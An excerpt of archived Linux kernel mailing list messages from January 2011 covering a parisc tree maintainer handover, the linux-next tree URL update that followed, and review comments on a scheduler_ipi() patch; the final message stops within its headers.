Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37428 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752890Ab1AOPfd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Jan 2011 10:35:33 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 683308EE0CD;
	Sat, 15 Jan 2011 07:35:33 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id s6-zkUU7eaRZ; Sat, 15 Jan 2011 07:35:33 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id F1FB28EE0CB;
	Sat, 15 Jan 2011 07:35:32 -0800 (PST)
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3382 gmane.linux.kernel:1087953
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3382>

Hi Stephen,

We've had a change of maintainer over at parisc and a consequent tree
change.  Could you replace

git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git#next

with

git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git#for-next

as the parisc tree for inclusion in linux next.

Hopefully, there won't be any issues with it, but if there are, please
send them directly to the parisc list (we have multiple maintainers, so
one of us will see and sort it out).

Parisc List <linux-parisc@vger.kernel.org>

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Change in parisc tree source for Linux Next
Date: Sun, 16 Jan 2011 02:51:27 +1100
Lines: 57
Approved: news@gmane.org
Message-ID: <20110116025127.8e04a478.sfr@canb.auug.org.au>
References: <1295105731.5973.25.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Sun__16_Jan_2011_02_51_27_+1100_A3YXxvT0pUNBQtC."
X-Trace: dough.gmane.org 1295106700 10116 80.91.229.12 (15 Jan 2011 15:51:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 15 Jan 2011 15:51:40 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 15 16:51:36 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pe8Pf-0004MO-6C
	for glpp-linux-parisc@lo.gmane.org; Sat, 15 Jan 2011 16:51:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752807Ab1AOPve (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Jan 2011 10:51:34 -0500
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:51580 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752145Ab1AOPve (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Jan 2011 10:51:34 -0500
Original-Received: from canb.auug.org.au (ta-1-1.tip.net.au [203.11.71.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtps.tip.net.au (Postfix) with ESMTPSA id 3A317144B88;
	Sun, 16 Jan 2011 02:51:32 +1100 (EST)
In-Reply-To: <1295105731.5973.25.camel@mulgrave.site>
X-Mailer: Sylpheed 3.0.2 (GTK+ 2.20.1; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3383 gmane.linux.kernel:1087976
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3383>

--Signature=_Sun__16_Jan_2011_02_51_27_+1100_A3YXxvT0pUNBQtC.
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi James,

On Sat, 15 Jan 2011 09:35:31 -0600 James Bottomley <James.Bottomley@HansenP=
artnership.com> wrote:
>
> We've had a change of maintainer over at parisc and a consequent tree
> change.  Could you replace
>=20
> git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git#next
>=20
> with
>=20
> git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git#for-next
>=20
> as the parisc tree for inclusion in linux next.

No worries.  Done.

> Hopefully, there won't be any issues with it, but if there are, please
> send them directly to the parisc list (we have multiple maintainers, so
> one of us will see and sort it out).
>=20
> Parisc List <linux-parisc@vger.kernel.org>

Also changed.

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Sun__16_Jan_2011_02_51_27_+1100_A3YXxvT0pUNBQtC.
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iQEcBAEBAgAGBQJNMcJ/AAoJEDMEi1NhKgbsp4EH+watncaHOfwzX3R/XJJ/xKAo
QJUjR0DUyq8HPOZiQTGY4A0kD1VaQzseHYax6PaDxvvFcN8ahVdHLSukgknqCQNU
mlCxotkjZWUMS7fFCzQzXG/Pg6CE8GvfYPRbk4WK05UnJI6z4FAC31e8FHV/ERLq
Ok5dD46TWCmrphWx/WgyA6wxj1Bd0vl3P29XfPsc4r8cphgCTaypaMersC1ryiw5
DhH0QnACh3LSMx8JJLNjaCi5fTSgmcihoNEaHeM6E+Rix3NczMUG6j2faQkmE4Bw
IzqOB3KaDBQS+o6AUoMEH9RyAWENwqQFzVyirMilZcs7oN+BEc+NE9V72FpoFKg=
=glHl
-----END PGP SIGNATURE-----

--Signature=_Sun__16_Jan_2011_02_51_27_+1100_A3YXxvT0pUNBQtC.--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc tree maintainer
Date: Sat, 15 Jan 2011 19:32:09 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <AANLkTimwVDT6tL1=-7-753kJsmh9rt5JcOg5N-JxR9Tn@mail.gmail.com>
References: <20101206164310.GQ25668@bombadil.infradead.org>
	<1291672391.7021.33.camel@mulgrave.site>
	<4CFD6309.2000202@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1295116341 23566 80.91.229.12 (15 Jan 2011 18:32:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 15 Jan 2011 18:32:21 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	torvalds@linux-foundation.org, linux-parisc@vger.kernel.org,
	Helge Deller <deller@gmx.de>
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 15 19:32:14 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PeAv5-0007tr-Oa
	for glpp-linux-parisc@lo.gmane.org; Sat, 15 Jan 2011 19:32:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753233Ab1AOScL convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 15 Jan 2011 13:32:11 -0500
Original-Received: from mail-gx0-f174.google.com ([209.85.161.174]:42044 "EHLO
	mail-gx0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752766Ab1AOScK convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 15 Jan 2011 13:32:10 -0500
Original-Received: by gxk9 with SMTP id 9so1502098gxk.19
        for <linux-parisc@vger.kernel.org>; Sat, 15 Jan 2011 10:32:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=n005HvSFHwz+jvWulSVEjkS4GPmcUmF9LegTFKvGkr4=;
        b=PkoEToR8d9QIqtk8C82UbszK0tO7yd7BJecZYgls5r9GP2f+8up6IaNIFt96HwYi34
         Mgdd3Ck+UEPj8MUOdejk/klbBlPZAC9uafNWeT++F1nigpOKkdkPJq95cLQCpGMSmN61
         jMJSS565v/foMXmrtPVYGxiQTEX9ao1K81Iko=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=P/c3cztlK0EIE6J3l3ecpX8fBv/M8pfzTMe7f6VP48sQBPhenHgfORhav/wWE5zWHf
         HynO+spBkswImBJkT09w0D9dDeo1rT6lSo/u+rr1B45TvGbEc0reelqPvSr68+7FxA40
         IeMfTRuS6maxPYoOxi9gL4bhXRGRRXwj/RwOQ=
Original-Received: by 10.100.47.1 with SMTP id u1mr305426anu.105.1295116329389; Sat, 15
 Jan 2011 10:32:09 -0800 (PST)
Original-Received: by 10.100.109.12 with HTTP; Sat, 15 Jan 2011 10:32:09 -0800 (PST)
In-Reply-To: <4CFD6309.2000202@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3384
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3384>

On Mon, Dec 6, 2010 at 11:26 PM, Helge Deller <deller@gmx.de> wrote:
> On 12/06/2010 10:53 PM, James Bottomley wrote:
>>
>> On Mon, 2010-12-06 at 11:43 -0500, Kyle McMartin wrote:
>>>
>>> I'm getting a bit bored of maintaining the parisc trees and such...=
 Do
>>> either of you want to take over? If you do, please reply so that Li=
nus
>>> knows that the next pull request will come from you instead of me.

Thank you Kyle, we will call you only for interesting tasks ;)

>> I suppose I can ... it's not a high volume tree, fortunately. =A0Tha=
nks
>> for doing it this long ... although I've got to say, I think continu=
ing
>> would be good practise for you.
>
> James, thanks for taking that job!
> Since our second baby (that time a son) was born just yesterday, I do=
n't
> think I will have much time during the next few weeks at least :-)

I don't do anything but run my j5600 in the secret, trying recent
trees and building some Debian packages. For what I can, I'm
available.

Thank you all.

Domenico

-----[ Domenico Andreoli, aka cavok
=A0--[ http://www.dandreoli.com/gpgkey.asc
=A0=A0 ---[ 3A0F 2F80 F79C 678A 8936=A0 4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux@arm.linux.org.uk>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.comp.emulators.xen.devel,gmane.linux.kernel.virtualization,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] sched: provide scheduler_ipi() callback in response to
        smp_send_reschedule()
Date: Mon, 17 Jan 2011 11:26:37 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20110117112637.GA18599@n2100.arm.linux.org.uk>
References: <1295262433.30950.53.camel@laptop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1295263972 27013 80.91.229.12 (17 Jan 2011 11:32:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Jan 2011 11:32:52 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Mike Frysinger <vapier@gentoo.org>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        lin
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 17 12:32:33 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1PenK3-0007U1-Vq
	for sgi-linux-mips@gmane.org; Mon, 17 Jan 2011 12:32:32 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:58667 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1493394Ab1AQLcU (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 17 Jan 2011 12:32:20 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 17 Jan 2011 12:32:01 +0100 (CET)
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:56235 "EHLO
        caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S1493384Ab1AQLb6 (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 17 Jan 2011 12:31:58 +0100
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arm.linux.org.uk; s=caramon;
        h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=FmpukmRAlPYXttT1xL3xziuCJn0R7Pqonjrbtzap8vQ=;
        b=kRR/rurjiHul3StBV5eEZNkAF1fBpIIP6raT9ATA8PRoaFVj4lTB8962OWcceGuLh7Vlen7IWjLB+zlocKqLWrIvP778SRDynIOrnKH0tfk/KqswNz9GHFnXnRk4bqbJaoO9SqIQqEwB52/GuVOTInH1bpfokTS8bCnh20VLb5Y=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86])
        by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
        (Exim 4.72)
        (envelope-from <linux@arm.linux.org.uk>)
        id 1PenEO-0002Gq-93; Mon, 17 Jan 2011 11:26:40 +0000
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.72)
        (envelope-from <linux@n2100.arm.linux.org.uk>)
        id 1PenEL-0005Gh-LG; Mon, 17 Jan 2011 11:26:37 +0000
Content-Disposition: inline
In-Reply-To: <1295262433.30950.53.camel@laptop>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-archive-position: 28929
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@arm.linux.org.uk
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:30014 gmane.linux.ports.alpha:1293 gmane.linux.kernel:1088341 gmane.linux.ports.arm.kernel:102768 gmane.linux.hardware.blackfin.kernel.devel:5081 gmane.linux.ports.ia64:21528 gmane.linux.ports.parisc:3385 gmane.linux.ports.ppc64.devel:72066 gmane.linux.ports.sh.devel:9844 gmane.linux.ports.sparc:14172 gmane.linux.uml.devel:12669 gmane.linux.uml.user:13868 gmane.comp.emulators.xen.devel:97168 gmane.linux.kernel.virtualization:11188 gmane.linux.kernel.cross-arch:8838
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/30014>

On Mon, Jan 17, 2011 at 12:07:13PM +0100, Peter Zijlstra wrote:
> diff --git a/arch/alpha/kernel/smp.c b/arch/alpha/kernel/smp.c
> index 42aa078..c4a570b 100644
> --- a/arch/alpha/kernel/smp.c
> +++ b/arch/alpha/kernel/smp.c
> @@ -587,6 +587,7 @@ handle_ipi(struct pt_regs *regs)
>  		case IPI_RESCHEDULE:
>  			/* Reschedule callback.  Everything to be done
>  			   is done by the interrupt return path.  */
> +			scheduler_ipi();
>  			break;
>  
>  		case IPI_CALL_FUNC:
> diff --git a/arch/arm/kernel/smp.c b/arch/arm/kernel/smp.c
> index 9066473..ffde790 100644
> --- a/arch/arm/kernel/smp.c
> +++ b/arch/arm/kernel/smp.c
> @@ -579,6 +579,7 @@ asmlinkage void __exception do_IPI(struct pt_regs *regs)
>  				 * nothing more to do - eveything is
>  				 * done on the interrupt return path
>  				 */
> +				scheduler_ipi();

Maybe remove the comment "everything is done on the interrupt return path"
as with this function call, that is no longer the case.

Looks like the same is true for Alpha as well?



From - Thu Nov 08 21:06:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.comp.emulators.xen.devel,gmane.linux.kernel.virtualization,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH] sched: provide scheduler_ipi() callback in response to
 smp_send_reschedule()
Date: Mon, 17 Jan 2011 12:31:24 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <1295263884.30950.54.camel@laptop>
References: <1295262433.30950.53.camel@laptop>
         <20110117112637.GA18599@n2100.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1295263980 27060 80.91.229.12 (17 Jan 2011 11:33:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Jan 2011 11:33:00 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Mike Frysinger <vapier@gentoo.org>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Hirokazu Takata <takata@linux-m32r.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
        Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        lin
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jan 17 12:32:47 2011
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182] helo=cvs.linux-mips.org)
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1PenKI-0007U1-2b
	for sgi-linux-mips@gmane.org; Mon, 17 Jan 2011 12:32:46 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:58672 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1493384Ab1AQLcp (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 17 Jan 2011 12:32:45 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 17 Jan 2011 12:32:26 +0100 (CET)
Original-Received: from casper.infradead.org ([85.118.1.10]:53927 "EHLO
        casper.infradead.org" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S1493393Ab1AQLb7 convert rfc822-to-8bit (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Mon, 17 Jan 2011 12:31:59 +0100
Original-Received: from j77219.upc-j.chello.nl ([24.132.77.219] helo=laptop)
        by casper.infradead.org with esmtpsa (Exim 4.72 #1 (Red Hat Linux))
        id 1PenIK-0004DN-Su; Mon, 17 Jan 2011 11:30:44 +0000
Original-Received: by laptop (Postfix, from userid 1000)
        id 73A0610067258; Mon, 17 Jan 2011 12:31:25 +0100 (CET)
In-Reply-To: <20110117112637.GA18599@n2100.arm.linux.org.uk>
X-Mailer: Evolution 2.30.3 
X-archive-position: 28930
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: peterz@infradead.org
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:30015 gmane.linux.ports.alpha:1294 gmane.linux.kernel:1088342 gmane.linux.ports.arm.kernel:102769 gmane.linux.hardware.blackfin.kernel.devel:5082 gmane.linux.ports.ia64:21529 gmane.linux.ports.parisc:3386 gmane.linux.ports.ppc64.devel:72067 gmane.linux.ports.sh.devel:9845 gmane.linux.ports.sparc:14173 gmane.linux.uml.devel:12670 gmane.linux.uml.user:13869 gmane.comp.emulators.xen.devel:97169 gmane.linux.kernel.virtualization:11189 gmane.linux.kernel.cross-arch:8839
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/30015>

On Mon, 2011-01-17 at 11:26 +0000, Russell King - ARM Linux wrote:
> On Mon, Jan 17, 2011 at 12:07:13PM +0100, Peter Zijlstra wrote:
> > diff --git a/arch/alpha/kernel/smp.c b/arch/alpha/kernel/smp.c
> > index 42aa078..c4a570b 100644
> > --- a/arch/alpha/kernel/smp.c
> > +++ b/arch/alpha/kernel/smp.c
> > @@ -587,6 +587,7 @@ handle_ipi(struct pt_regs *regs)
> >  		case IPI_RESCHEDULE:
> >  			/* Reschedule callback.  Everything to be done
> >  			   is done by the interrupt return path.  */
> > +			scheduler_ipi();
> >  			break;
> >  
> >  		case IPI_CALL_FUNC:
> > diff --git a/arch/arm/kernel/smp.c b/arch/arm/kernel/smp.c
> > index 9066473..ffde790 100644
> > --- a/arch/arm/kernel/smp.c
> > +++ b/arch/arm/kernel/smp.c
> > @@ -579,6 +579,7 @@ asmlinkage void __exception do_IPI(struct pt_regs *regs)
> >  				 * nothing more to do - eveything is
> >  				 * done on the interrupt return path
> >  				 */
> > +				scheduler_ipi();
> 
> Maybe remove the comment "everything is done on the interrupt return path"
> as with this function call, that is no longer the case.
> 
> Looks like the same is true for Alpha as well?

Right, will do, thanks! It looks like I've somewhat inconsistent with
that.



From - Thu Nov 08 21:06:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>
Newsgroups: gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.virtualization,gmane.linux.uml.devel,gmane.linux.ports.alpha,gmane.comp.emulators.xen.devel,gmane.linux.uml.user,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] sched: provide scheduler_ipi()
 callback in response to smp_send_reschedule()
Date: Mon, 17 Jan 2011 12:41:49 +0100
Lines: 475
Approved: news@gmane.org
Message-ID: <1295264509.30950.59.camel@laptop>
References: <1295262433.30950.53.camel@laptop>
	<20110117112637.GA18599@n2100.arm.linux.org.uk>
	<1295263884.30950.54.camel@laptop>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1295264588 30134 80.91.229.12 (17 Jan 2011 11:43:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 17 Jan 2011 11:43:08 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Ralf-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org, Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
        Jesper-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org, Mike-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org,
        Jeremy Fitzhardinge <jeremy.fitzhardinge-Sxgqhf6Nn4DQT0dZR+AlfA@public.gmane.org>,
        Hirokazu Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
        Koichi-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org, virtualization-qjLDD68F18O7TbgM5vRIOg@public.gmane.org,
        Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
        Yu <fenghua.yu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>, Frysinger <vapier-aBrp7R+bbdUdnm+yROfE0A@public.gmane.org>,
        user-mo
To: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Mon Jan 17 12:42:49 2011
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([204.50.165.247])
	by lo.gmane.org with esmtp (Exim 4.69)
